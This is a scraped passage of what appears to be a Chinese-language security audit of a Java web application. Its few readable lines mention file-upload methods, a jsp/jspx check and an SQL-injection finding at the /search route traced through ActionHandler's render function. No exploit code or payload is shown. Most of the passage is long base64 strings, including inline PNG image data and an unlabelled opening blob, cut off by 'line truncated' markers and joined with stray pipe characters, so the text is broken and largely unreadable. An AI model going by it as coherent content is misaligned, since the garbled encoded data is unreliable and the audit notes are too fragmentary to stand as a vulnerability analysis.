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 truncated
|
||||
<p blockindex=14>上传文件的getFiles系列方法。因为程序有对jsp和jspx做校验就不仔细看了。</p>
|
||||
<p blockindex=15><img src="data:image/png;base64,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 truncated
|
||||
<h2 blockindex=16>0x1 sql注入</h2>
|
||||
<p blockindex=17>路由/search</p>
|
||||
<p blockindex=18><img src="data:image/png;base64,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 truncated
|
||||
断点调试到ActionHandler的113行,跟进render函数</p>
|
||||
<p blockindex=19><img src="data:image/png;base64,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